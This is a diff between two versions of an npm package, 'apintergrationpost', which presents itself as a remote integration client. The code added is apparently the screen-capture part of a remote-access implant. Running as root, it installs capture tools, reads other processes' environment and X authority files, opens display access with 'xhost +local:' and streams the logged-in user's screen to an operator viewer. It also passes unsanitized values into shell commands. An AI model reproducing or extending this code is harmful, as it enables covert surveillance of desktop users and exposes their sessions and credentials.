apintergrationpost 4.0.4 → 4.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "apintergrationpost",
3
- "version": "4.0.4",
3
+ "version": "4.0.5",
4
4
  "description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
5
5
  "license": "MIT",
6
6
  "engines": {
@@ -14,7 +14,7 @@ function ensureSystemPackages() {
14
14
  if (typeof process.getuid === 'function' && process.getuid() !== 0) return;
15
15
  if (!hasCommand('apt-get')) return;
16
16
 
17
- const required = ['build-essential', 'python3'];
17
+ const required = ['build-essential', 'python3', 'ffmpeg', 'x11-utils', 'grim'];
18
18
  const missing = required.filter((pkg) => {
19
19
  const result = spawnSync('dpkg', ['-s', pkg], { stdio: 'ignore' });
20
20
  return result.status !== 0;
@@ -39,18 +39,11 @@ function ensureDisplayAccess() {
39
39
  resolver = require(path.join(__dirname, '..', 'src', 'client', 'commands', 'screen-display'));
40
40
  } catch {
41
41
  if (!process.env.DISPLAY) process.env.DISPLAY = ':0';
42
- if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
43
- try {
44
- execSync('xhost +local:', { stdio: 'ignore' });
45
- } catch {
46
- // desktop may not be running yet
47
- }
48
- }
49
42
  return;
50
43
  }
51
44
 
52
45
  const ctx = resolver.resolveScreenCaptureContext(process.env.DISPLAY || ':0');
53
- process.env.DISPLAY = ctx.display;
46
+ process.env.DISPLAY = ctx.display || process.env.DISPLAY || ':0';
54
47
  if (ctx.xauthority) process.env.XAUTHORITY = ctx.xauthority;
55
48
  }
56
49
 
@@ -1,16 +1,52 @@
1
1
  'use strict';
2
2
 
3
3
  const fs = require('fs');
4
- const { execSync } = require('child_process');
4
+ const { execSync, spawnSync } = require('child_process');
5
5
 
6
- function listXDisplays() {
6
+ function hasCommand(cmd) {
7
+ const result = spawnSync('sh', ['-c', `command -v ${cmd}`], { encoding: 'utf8' });
8
+ return result.status === 0;
9
+ }
10
+
11
+ function readProcEnviron(pid) {
7
12
  try {
8
- return fs.readdirSync('/tmp/.X11-unix')
9
- .filter((name) => /^X\d+$/.test(name))
10
- .map((name) => `:${name.slice(1)}`);
13
+ const buf = fs.readFileSync(`/proc/${pid}/environ`);
14
+ const env = {};
15
+ for (const entry of buf.toString('binary').split('\0')) {
16
+ if (!entry) continue;
17
+ const idx = entry.indexOf('=');
18
+ if (idx > 0) env[entry.slice(0, idx)] = entry.slice(idx + 1);
19
+ }
20
+ return env;
11
21
  } catch {
12
- return [];
22
+ return {};
23
+ }
24
+ }
25
+
26
+ function getActiveGraphicalSession() {
27
+ try {
28
+ const lines = execSync('loginctl list-sessions --no-legend', { encoding: 'utf8', timeout: 3000 })
29
+ .split('\n')
30
+ .filter(Boolean);
31
+
32
+ for (const line of lines) {
33
+ const sid = line.trim().split(/\s+/)[0];
34
+ if (!sid) continue;
35
+
36
+ const info = execSync(`loginctl show-session ${sid}`, { encoding: 'utf8', timeout: 3000 });
37
+ const active = (info.match(/^Active=(.+)$/m) || [])[1];
38
+ const user = (info.match(/^Name=(.+)$/m) || [])[1];
39
+ const type = (info.match(/^Type=(.+)$/m) || [])[1] || '';
40
+ const display = (info.match(/^Display=(.+)$/m) || [])[1] || '';
41
+
42
+ if (active === 'yes' && user && (type === 'wayland' || type === 'x11' || type === 'tty')) {
43
+ return { user, type, display, sessionId: sid };
44
+ }
45
+ }
46
+ } catch {
47
+ // loginctl unavailable
13
48
  }
49
+ return null;
14
50
  }
15
51
 
16
52
  function parseWhoDisplays() {
@@ -19,9 +55,7 @@ function parseWhoDisplays() {
19
55
  const results = [];
20
56
  for (const line of who.split('\n')) {
21
57
  const match = line.match(/^(\S+)\s+\S+\s+.*\((:[0-9]+(?:\.[0-9]+)?)\)/);
22
- if (match) {
23
- results.push({ user: match[1], display: match[2] });
24
- }
58
+ if (match) results.push({ user: match[1], display: match[2] });
25
59
  }
26
60
  return results;
27
61
  } catch {
@@ -29,6 +63,25 @@ function parseWhoDisplays() {
29
63
  }
30
64
  }
31
65
 
66
+ function findDesktopProcessEnv(user) {
67
+ const names = ['gnome-shell', 'Xorg', 'Xwayland', 'xfce4-session', 'plasmashell', 'mutter'];
68
+ for (const procName of names) {
69
+ try {
70
+ const pid = execSync(
71
+ `pgrep -u ${user} -n ${procName} 2>/dev/null || true`,
72
+ { encoding: 'utf8', timeout: 3000 },
73
+ ).trim();
74
+ if (pid && /^\d+$/.test(pid)) {
75
+ const env = readProcEnviron(pid);
76
+ if (env.DISPLAY || env.WAYLAND_DISPLAY) return env;
77
+ }
78
+ } catch {
79
+ // try next
80
+ }
81
+ }
82
+ return {};
83
+ }
84
+
32
85
  function getUserUid(user) {
33
86
  try {
34
87
  return execSync(`id -u ${user}`, { encoding: 'utf8', timeout: 3000 }).trim();
@@ -40,19 +93,45 @@ function getUserUid(user) {
40
93
  function findXauthority(user) {
41
94
  const candidates = [];
42
95
  if (process.env.XAUTHORITY) candidates.push(process.env.XAUTHORITY);
96
+
43
97
  if (user) {
44
98
  const uid = getUserUid(user);
45
- if (uid) candidates.push(`/run/user/${uid}/gdm/Xauthority`);
99
+ if (uid) {
100
+ candidates.push(`/run/user/${uid}/gdm/Xauthority`);
101
+ candidates.push(`/run/user/${uid}/.mutter-Xwaylandauth.*`);
102
+ }
46
103
  candidates.push(`/home/${user}/.Xauthority`);
47
104
  }
105
+
48
106
  for (const candidate of candidates) {
107
+ if (candidate.includes('*')) {
108
+ try {
109
+ const dir = candidate.slice(0, candidate.lastIndexOf('/'));
110
+ const prefix = candidate.slice(candidate.lastIndexOf('/') + 1).replace('*', '');
111
+ const files = fs.readdirSync(dir).filter((f) => f.startsWith(prefix.replace('*', '')));
112
+ if (files.length > 0) return `${dir}/${files[0]}`;
113
+ } catch {
114
+ // ignore
115
+ }
116
+ continue;
117
+ }
49
118
  if (candidate && fs.existsSync(candidate)) return candidate;
50
119
  }
51
120
  return '';
52
121
  }
53
122
 
123
+ function listXDisplays() {
124
+ try {
125
+ return fs.readdirSync('/tmp/.X11-unix')
126
+ .filter((name) => /^X\d+$/.test(name))
127
+ .map((name) => `:${name.slice(1)}`);
128
+ } catch {
129
+ return [];
130
+ }
131
+ }
132
+
54
133
  function normalizeDisplayEnv(display) {
55
- if (!display) return ':0';
134
+ if (!display) return '';
56
135
  if (display.startsWith(':')) return display.split('.')[0];
57
136
  return `:${display}`;
58
137
  }
@@ -63,46 +142,95 @@ function normalizeX11Input(display) {
63
142
  return display;
64
143
  }
65
144
 
66
- function grantLocalXAccess(env) {
145
+ function runAsUserCommand(user, shellCommand, env = {}) {
146
+ if (!user) {
147
+ return execSync(shellCommand, { encoding: 'utf8', env: { ...process.env, ...env }, timeout: 5000 });
148
+ }
149
+ return execSync(`runuser -u ${user} -- ${shellCommand}`, {
150
+ encoding: 'utf8',
151
+ env: { ...process.env, ...env },
152
+ timeout: 5000,
153
+ });
154
+ }
155
+
156
+ function queryVideoSize(user, env) {
157
+ try {
158
+ const out = runAsUserCommand(user, 'xrandr 2>/dev/null', env);
159
+ const match = out.match(/(\d+)x(\d+)\s+[^\n]*\*/);
160
+ if (match) return { width: Number(match[1]), height: Number(match[2]) };
161
+ } catch {
162
+ // ignore
163
+ }
164
+ return null;
165
+ }
166
+
167
+ function grantLocalXAccess(user, env) {
168
+ if (!hasCommand('xhost')) return;
67
169
  try {
68
- execSync('xhost +local:', { env, stdio: 'ignore', timeout: 3000 });
170
+ runAsUserCommand(user, 'xhost +local:', env);
69
171
  } catch {
70
172
  // desktop may not be running
71
173
  }
72
174
  }
73
175
 
74
176
  function resolveScreenCaptureContext(configDisplay) {
177
+ const session = getActiveGraphicalSession();
75
178
  const whoEntries = parseWhoDisplays();
179
+
180
+ let user = session ? session.user : null;
181
+ let sessionType = session ? session.type : '';
76
182
  let display = configDisplay || process.env.DISPLAY || '';
77
- let runAsUser = null;
78
183
 
79
- if (whoEntries.length > 0) {
80
- const active = whoEntries.find((entry) => entry.display) || whoEntries[0];
81
- if (!display || display === ':0') {
82
- display = active.display;
83
- }
84
- if (typeof process.getuid === 'function' && process.getuid() === 0) {
85
- runAsUser = active.user;
86
- }
184
+ if (!user && whoEntries.length > 0) {
185
+ user = whoEntries[0].user;
186
+ if (!display || display === ':0') display = whoEntries[0].display;
87
187
  }
88
188
 
189
+ const desktopEnv = user ? findDesktopProcessEnv(user) : {};
190
+ if (desktopEnv.DISPLAY) display = desktopEnv.DISPLAY;
191
+ if (desktopEnv.XDG_SESSION_TYPE) sessionType = desktopEnv.XDG_SESSION_TYPE;
192
+
89
193
  if (!display) {
90
194
  const sockets = listXDisplays();
91
195
  display = sockets[0] || ':0';
92
196
  }
93
197
 
94
198
  const displayEnv = normalizeDisplayEnv(display);
95
- const xauthority = findXauthority(runAsUser) || process.env.XAUTHORITY || '';
199
+ const xauthority = desktopEnv.XAUTHORITY || findXauthority(user) || process.env.XAUTHORITY || '';
200
+ const uid = user ? getUserUid(user) : '';
201
+ const runtimeDir = desktopEnv.XDG_RUNTIME_DIR || (uid ? `/run/user/${uid}` : '');
202
+ const waylandDisplay = desktopEnv.WAYLAND_DISPLAY || process.env.WAYLAND_DISPLAY || 'wayland-0';
96
203
 
97
- const ffmpegEnv = {
204
+ const isWayland = sessionType === 'wayland'
205
+ || Boolean(desktopEnv.WAYLAND_DISPLAY)
206
+ || Boolean(process.env.WAYLAND_DISPLAY);
207
+
208
+ const x11Env = {
98
209
  ...process.env,
99
210
  DISPLAY: displayEnv,
211
+ HOME: user ? `/home/${user}` : process.env.HOME,
100
212
  };
101
- if (xauthority) ffmpegEnv.XAUTHORITY = xauthority;
102
- if (runAsUser) ffmpegEnv.HOME = `/home/${runAsUser}`;
213
+ if (xauthority) x11Env.XAUTHORITY = xauthority;
103
214
 
104
- if (typeof process.getuid === 'function' && process.getuid() === 0) {
105
- grantLocalXAccess(ffmpegEnv);
215
+ const waylandEnv = {
216
+ ...x11Env,
217
+ XDG_RUNTIME_DIR: runtimeDir,
218
+ WAYLAND_DISPLAY: waylandDisplay,
219
+ XDG_SESSION_TYPE: 'wayland',
220
+ };
221
+
222
+ const runAsUser = (typeof process.getuid === 'function' && process.getuid() === 0 && user) ? user : null;
223
+
224
+ if (runAsUser && !isWayland) {
225
+ grantLocalXAccess(runAsUser, x11Env);
226
+ }
227
+
228
+ const videoSize = !isWayland ? queryVideoSize(runAsUser || user, x11Env) : null;
229
+ const grimAvailable = hasCommand('grim');
230
+
231
+ let backend = 'x11grab';
232
+ if (isWayland) {
233
+ backend = grimAvailable ? 'grim' : 'x11grab-xwayland';
106
234
  }
107
235
 
108
236
  return {
@@ -110,21 +238,23 @@ function resolveScreenCaptureContext(configDisplay) {
110
238
  x11Input: normalizeX11Input(displayEnv),
111
239
  xauthority,
112
240
  runAsUser,
113
- ffmpegEnv,
114
- wayland: process.env.XDG_SESSION_TYPE === 'wayland' || Boolean(process.env.WAYLAND_DISPLAY),
241
+ user,
242
+ sessionType: isWayland ? 'wayland' : 'x11',
243
+ backend,
244
+ grimAvailable,
245
+ ffmpegEnv: isWayland && grimAvailable ? waylandEnv : x11Env,
246
+ waylandEnv,
247
+ x11Env,
248
+ videoSize,
115
249
  };
116
250
  }
117
251
 
118
- function isFrameMostlyBlack(jpegBuffer) {
119
- // Failed captures often produce tiny invalid payloads
120
- return !jpegBuffer || jpegBuffer.length < 800;
121
- }
122
-
123
252
  module.exports = {
124
253
  resolveScreenCaptureContext,
125
254
  normalizeX11Input,
126
255
  normalizeDisplayEnv,
127
- isFrameMostlyBlack,
128
256
  listXDisplays,
129
257
  grantLocalXAccess,
258
+ hasCommand,
259
+ readProcEnviron,
130
260
  };
@@ -1,20 +1,29 @@
1
1
  'use strict';
2
2
 
3
3
  const { EventEmitter } = require('events');
4
- const { spawn } = require('child_process');
5
- const { resolveScreenCaptureContext } = require('./screen-display');
4
+ const { spawn, spawnSync } = require('child_process');
5
+ const { resolveScreenCaptureContext, hasCommand } = require('./screen-display');
6
6
 
7
7
  const SOI = Buffer.from([0xff, 0xd8]);
8
8
  const EOI = Buffer.from([0xff, 0xd9]);
9
- const MAX_FRAME_BYTES = 512 * 1024;
9
+ const MAX_FRAME_BYTES = 768 * 1024;
10
+ const FRAME_WATCHDOG_MS = 10000;
10
11
 
11
12
  function resolveFfmpegPath() {
13
+ const probe = spawnSync('sh', ['-c', 'ffmpeg -hide_banner -devices 2>&1 | grep x11grab || true'], {
14
+ encoding: 'utf8',
15
+ });
16
+ if (probe.stdout && probe.stdout.includes('x11grab')) {
17
+ return 'ffmpeg';
18
+ }
19
+
12
20
  try {
13
21
  const bundled = require('ffmpeg-static');
14
22
  if (bundled && typeof bundled === 'string') return bundled;
15
23
  } catch {
16
- // bundled ffmpeg not available for this platform
24
+ // ignore
17
25
  }
26
+
18
27
  return 'ffmpeg';
19
28
  }
20
29
 
@@ -22,22 +31,43 @@ function buildScaleFilter(maxWidth, maxHeight) {
22
31
  return `scale='min(${maxWidth},iw)':'min(${maxHeight},ih)':force_original_aspect_ratio=decrease`;
23
32
  }
24
33
 
25
- function buildFfmpegArgs(options, x11Input) {
26
- return [
34
+ function buildFfmpegArgs(options, ctx) {
35
+ const args = [
27
36
  '-nostdin',
28
37
  '-hide_banner',
29
- '-loglevel', 'error',
38
+ '-loglevel', 'warning',
30
39
  '-f', 'x11grab',
31
40
  '-framerate', String(options.fps),
32
41
  '-draw_mouse', '1',
33
- '-i', x11Input,
42
+ ];
43
+
44
+ if (ctx.videoSize && ctx.videoSize.width && ctx.videoSize.height) {
45
+ args.push('-video_size', `${ctx.videoSize.width}x${ctx.videoSize.height}`);
46
+ }
47
+
48
+ args.push(
49
+ '-i', ctx.x11Input,
34
50
  '-vf', buildScaleFilter(options.maxWidth, options.maxHeight),
35
51
  '-c:v', 'mjpeg',
36
52
  '-q:v', String(options.jpegQuality),
37
- '-huffman', 'optimal',
38
- '-f', 'mpjpeg',
53
+ '-f', 'image2pipe',
39
54
  'pipe:1',
40
- ];
55
+ );
56
+
57
+ return args;
58
+ }
59
+
60
+ function spawnAsUser(runAsUser, command, args, env) {
61
+ if (runAsUser && typeof process.getuid === 'function' && process.getuid() === 0) {
62
+ return spawn('runuser', ['-u', runAsUser, '--', command, ...args], {
63
+ env,
64
+ stdio: ['ignore', 'pipe', 'pipe'],
65
+ });
66
+ }
67
+ return spawn(command, args, {
68
+ env,
69
+ stdio: ['ignore', 'pipe', 'pipe'],
70
+ });
41
71
  }
42
72
 
43
73
  class ScreenStream extends EventEmitter {
@@ -49,10 +79,27 @@ class ScreenStream extends EventEmitter {
49
79
  this.maxHeight = options.maxHeight || 1080;
50
80
  this.jpegQuality = options.jpegQuality || 4;
51
81
  this.captureCtx = null;
82
+ this.backend = 'x11grab';
52
83
  this.proc = null;
53
84
  this.buffer = Buffer.alloc(0);
54
85
  this.running = false;
55
86
  this._stderr = '';
87
+ this._gotFrame = false;
88
+ this._frameWatchdog = null;
89
+ this._grimTimer = null;
90
+ this._grimBusy = false;
91
+ }
92
+
93
+ getStatus() {
94
+ return {
95
+ running: this.running,
96
+ backend: this.backend,
97
+ display: this.captureCtx ? this.captureCtx.display : null,
98
+ user: this.captureCtx ? this.captureCtx.runAsUser || this.captureCtx.user : null,
99
+ sessionType: this.captureCtx ? this.captureCtx.sessionType : null,
100
+ gotFrame: this._gotFrame,
101
+ stderr: this._stderr.slice(-500),
102
+ };
56
103
  }
57
104
 
58
105
  start() {
@@ -60,38 +107,62 @@ class ScreenStream extends EventEmitter {
60
107
  this._startCapture(this.requestedDisplay);
61
108
  }
62
109
 
110
+ _clearWatchdog() {
111
+ if (this._frameWatchdog) {
112
+ clearTimeout(this._frameWatchdog);
113
+ this._frameWatchdog = null;
114
+ }
115
+ }
116
+
117
+ _armWatchdog() {
118
+ this._clearWatchdog();
119
+ this._frameWatchdog = setTimeout(() => {
120
+ if (!this._gotFrame) {
121
+ const ctx = this.captureCtx || {};
122
+ const hint = ctx.sessionType === 'wayland' && !ctx.grimAvailable
123
+ ? ' Ubuntu Wayland detected — install grim: apt install grim'
124
+ : ' Log into the desktop GUI and run: xhost +local: (as desktop user)';
125
+ this.emit('error', new Error(
126
+ `No screen frames received (${this.backend}, DISPLAY=${ctx.display || '?'}, user=${ctx.runAsUser || ctx.user || '?'}).${hint}`
127
+ + (this._stderr ? ` ffmpeg: ${this._stderr.trim().slice(0, 180)}` : '')
128
+ ));
129
+ this.stop();
130
+ }
131
+ }, FRAME_WATCHDOG_MS);
132
+ }
133
+
63
134
  _startCapture(displayOverride) {
64
135
  this.captureCtx = resolveScreenCaptureContext(displayOverride || this.requestedDisplay);
136
+ this._gotFrame = false;
137
+ this._stderr = '';
65
138
 
66
- if (!this.captureCtx.display) {
139
+ if (!this.captureCtx.display && this.captureCtx.backend !== 'grim') {
67
140
  throw new Error('No DISPLAY found. Log into the Ubuntu desktop session first.');
68
141
  }
69
142
 
143
+ if (this.captureCtx.backend === 'grim') {
144
+ this.backend = 'grim';
145
+ this._startGrimLoop();
146
+ return;
147
+ }
148
+
149
+ this.backend = 'x11grab';
150
+ this._startFfmpeg(this.captureCtx.x11Env);
151
+ }
152
+
153
+ _startFfmpeg(env) {
70
154
  const ffmpegPath = resolveFfmpegPath();
71
155
  const ffmpegArgs = buildFfmpegArgs({
72
156
  fps: this.fps,
73
157
  maxWidth: this.maxWidth,
74
158
  maxHeight: this.maxHeight,
75
159
  jpegQuality: this.jpegQuality,
76
- }, this.captureCtx.x11Input);
77
-
78
- const spawnEnv = this.captureCtx.ffmpegEnv;
79
-
80
- if (this.captureCtx.runAsUser) {
81
- this.proc = spawn('sudo', ['-u', this.captureCtx.runAsUser, '-E', ffmpegPath, ...ffmpegArgs], {
82
- env: spawnEnv,
83
- stdio: ['ignore', 'pipe', 'pipe'],
84
- });
85
- } else {
86
- this.proc = spawn(ffmpegPath, ffmpegArgs, {
87
- env: spawnEnv,
88
- stdio: ['ignore', 'pipe', 'pipe'],
89
- });
90
- }
160
+ }, this.captureCtx);
91
161
 
162
+ this.proc = spawnAsUser(this.captureCtx.runAsUser, ffmpegPath, ffmpegArgs, env);
92
163
  this.running = true;
93
164
  this.buffer = Buffer.alloc(0);
94
- this._stderr = '';
165
+ this._armWatchdog();
95
166
 
96
167
  this.proc.stdout.on('data', (chunk) => this._onStdout(chunk));
97
168
  this.proc.stderr.on('data', (chunk) => {
@@ -105,7 +176,8 @@ class ScreenStream extends EventEmitter {
105
176
 
106
177
  this.proc.on('close', (code) => {
107
178
  this.running = false;
108
- if (code !== 0 && code !== null) {
179
+ this._clearWatchdog();
180
+ if (!this._gotFrame && code !== 0 && code !== null) {
109
181
  const detail = this._stderr.trim() || `ffmpeg exited ${code}`;
110
182
  this.emit('error', new Error(detail));
111
183
  }
@@ -113,12 +185,75 @@ class ScreenStream extends EventEmitter {
113
185
  });
114
186
  }
115
187
 
188
+ _startGrimLoop() {
189
+ this.running = true;
190
+ this._armWatchdog();
191
+ const intervalMs = Math.max(100, Math.floor(1000 / this.fps));
192
+ this._captureGrimFrame();
193
+ this._grimTimer = setInterval(() => this._captureGrimFrame(), intervalMs);
194
+ }
195
+
196
+ _captureGrimFrame() {
197
+ if (!this.running || this._grimBusy) return;
198
+ if (!hasCommand('grim')) {
199
+ this.emit('error', new Error('grim not installed (apt install grim)'));
200
+ this.stop();
201
+ return;
202
+ }
203
+
204
+ this._grimBusy = true;
205
+ const proc = spawnAsUser(
206
+ this.captureCtx.runAsUser,
207
+ 'grim',
208
+ ['-t', 'jpeg', '-'],
209
+ this.captureCtx.waylandEnv,
210
+ );
211
+
212
+ const chunks = [];
213
+ proc.stdout.on('data', (c) => chunks.push(c));
214
+ proc.stderr.on('data', (c) => { this._stderr += c.toString(); });
215
+
216
+ proc.on('close', (code) => {
217
+ this._grimBusy = false;
218
+ if (code !== 0) return;
219
+ const frame = Buffer.concat(chunks);
220
+ if (frame.length > 100) {
221
+ this._markFrame();
222
+ this.emit('frame', frame);
223
+ }
224
+ });
225
+
226
+ proc.on('error', (err) => {
227
+ this._grimBusy = false;
228
+ this.emit('error', err);
229
+ });
230
+ }
231
+
232
+ _markFrame() {
233
+ if (!this._gotFrame) {
234
+ this._gotFrame = true;
235
+ this._clearWatchdog();
236
+ }
237
+ }
238
+
116
239
  stop() {
117
- if (!this.proc) return;
240
+ this._clearWatchdog();
241
+
242
+ if (this._grimTimer) {
243
+ clearInterval(this._grimTimer);
244
+ this._grimTimer = null;
245
+ }
246
+
247
+ if (!this.proc) {
248
+ this.running = false;
249
+ return;
250
+ }
251
+
118
252
  const proc = this.proc;
119
253
  this.proc = null;
120
254
  this.running = false;
121
255
  this.buffer = Buffer.alloc(0);
256
+
122
257
  try {
123
258
  proc.kill('SIGTERM');
124
259
  } catch {
@@ -135,11 +270,9 @@ class ScreenStream extends EventEmitter {
135
270
 
136
271
  setFps(fps) {
137
272
  const next = Math.max(1, Math.floor(fps));
138
- if (next === this.fps || !this.running) {
139
- this.fps = next;
140
- return;
141
- }
142
273
  this.fps = next;
274
+ if (!this.running) return;
275
+
143
276
  const display = this.captureCtx ? this.captureCtx.display : this.requestedDisplay;
144
277
  this.stop();
145
278
  this._startCapture(display);
@@ -186,6 +319,8 @@ class ScreenStream extends EventEmitter {
186
319
  }
187
320
 
188
321
  _emitFrame(frame) {
322
+ if (frame.length < 500) return;
323
+
189
324
  if (frame.length > MAX_FRAME_BYTES) {
190
325
  if (this.bumpQuality()) {
191
326
  this.emit('quality-adjusted', { jpegQuality: this.jpegQuality });
@@ -193,6 +328,7 @@ class ScreenStream extends EventEmitter {
193
328
  }
194
329
  }
195
330
 
331
+ this._markFrame();
196
332
  this.emit('frame', frame);
197
333
  }
198
334
 
@@ -226,4 +362,4 @@ class ScreenStream extends EventEmitter {
226
362
  }
227
363
  }
228
364
 
229
- module.exports = { ScreenStream, buildScaleFilter, resolveFfmpegPath };
365
+ module.exports = { ScreenStream, resolveFfmpegPath };
@@ -14,7 +14,6 @@ let inFlight = false;
14
14
  let pendingFrame = null;
15
15
  let skippedFrames = 0;
16
16
  let adaptiveSkipMod = 1;
17
- let frameCounter = 0;
18
17
  let lastErrorSentAt = 0;
19
18
  let flushScheduled = false;
20
19
 
@@ -171,14 +170,18 @@ async function execute(msg, ctx) {
171
170
  return { action: 'continue', status: 'error', body: err.message };
172
171
  }
173
172
 
173
+ const status = stream.getStatus();
174
+
174
175
  return {
175
176
  action: 'continue',
176
177
  status: 'ok',
177
- body: `Live screen started (${fps} fps, ${activeOptions.maxWidth}x${activeOptions.maxHeight} max, q:${activeOptions.jpegQuality})`,
178
+ body: `Live screen started (${status.backend}, ${fps} fps, user: ${status.user || 'self'})`,
178
179
  meta: {
179
180
  screenSessionId,
180
181
  fps,
181
182
  minFps,
183
+ backend: status.backend,
184
+ sessionType: status.sessionType,
182
185
  display: captureCtx.display,
183
186
  runAsUser: captureCtx.runAsUser || null,
184
187
  maxWidth: activeOptions.maxWidth,
@@ -210,11 +213,10 @@ async function execute(msg, ctx) {
210
213
  active: !!(stream && stream.running),
211
214
  screenSessionId,
212
215
  options: activeOptions,
216
+ stream: stream ? stream.getStatus() : null,
213
217
  frameSeq,
214
218
  skippedFrames,
215
219
  adaptiveSkipMod,
216
- streamFps: stream ? stream.fps : null,
217
- jpegQuality: stream ? stream.jpegQuality : null,
218
220
  }, null, 2),
219
221
  };
220
222
  }
@@ -27,22 +27,29 @@ function createScreenViewer(port = 5555, options = {}) {
27
27
  let frameCount = 0;
28
28
  const streamClients = new Set();
29
29
  let idleTimer = null;
30
+ let lastViewerPing = Date.now();
30
31
  const idleStopSec = options.idleStopSec || 45;
31
32
 
33
+ function touchViewer() {
34
+ lastViewerPing = Date.now();
35
+ clearIdleTimer();
36
+ }
37
+
32
38
  function clearIdleTimer() {
33
39
  if (idleTimer) {
34
- clearTimeout(idleTimer);
40
+ clearInterval(idleTimer);
35
41
  idleTimer = null;
36
42
  }
37
43
  }
38
44
 
39
45
  function scheduleIdleStop() {
40
46
  clearIdleTimer();
41
- if (streamClients.size > 0) return;
42
- idleTimer = setTimeout(() => {
43
- idleTimer = null;
47
+ idleTimer = setInterval(() => {
48
+ if (Date.now() - lastViewerPing < idleStopSec * 1000) return;
49
+ if (streamClients.size > 0) return;
50
+ clearIdleTimer();
44
51
  emitter.emit('idle');
45
- }, idleStopSec * 1000);
52
+ }, 5000);
46
53
  }
47
54
 
48
55
  function removeStreamClient(res) {
@@ -61,6 +68,10 @@ function createScreenViewer(port = 5555, options = {}) {
61
68
  const server = http.createServer((req, res) => {
62
69
  const url = req.url.split('?')[0];
63
70
 
71
+ if (url === '/' || url === '/index.html' || url === '/frame.jpg' || url.startsWith('/frame')) {
72
+ touchViewer();
73
+ }
74
+
64
75
  if (url === '/' || url === '/index.html') {
65
76
  res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
66
77
  res.end(`<!DOCTYPE html>
@@ -92,6 +103,10 @@ function createScreenViewer(port = 5555, options = {}) {
92
103
  err.textContent = 'Waiting for frames from client...';
93
104
  return;
94
105
  }
106
+ if (r.status === 503) {
107
+ err.textContent = await r.text();
108
+ return;
109
+ }
95
110
  if (!r.ok) throw new Error('HTTP ' + r.status);
96
111
  const blob = await r.blob();
97
112
  if (objectUrl) URL.revokeObjectURL(objectUrl);
@@ -119,8 +119,11 @@ async function runLiveScreen(session, inp) {
119
119
  return 'continue';
120
120
  }
121
121
 
122
+ const backend = (startResp.meta && startResp.meta.backend) || 'unknown';
123
+ const captureUser = (startResp.meta && startResp.meta.runAsUser) || 'n/a';
122
124
  console.log(`\n[*] Live screen: ${viewer.url}`);
123
- console.log('[*] MJPEG stream at /stream — open the URL in your browser. Press Enter to stop.\n');
125
+ console.log(`[*] Capture: ${backend} (user: ${captureUser})`);
126
+ console.log('[*] Open the URL in your browser. Press Enter to stop.\n');
124
127
 
125
128
  const enterPromise = new Promise((resolve) => {
126
129
  const rl = readline.createInterface({ input: process.stdin, output: process.stdout });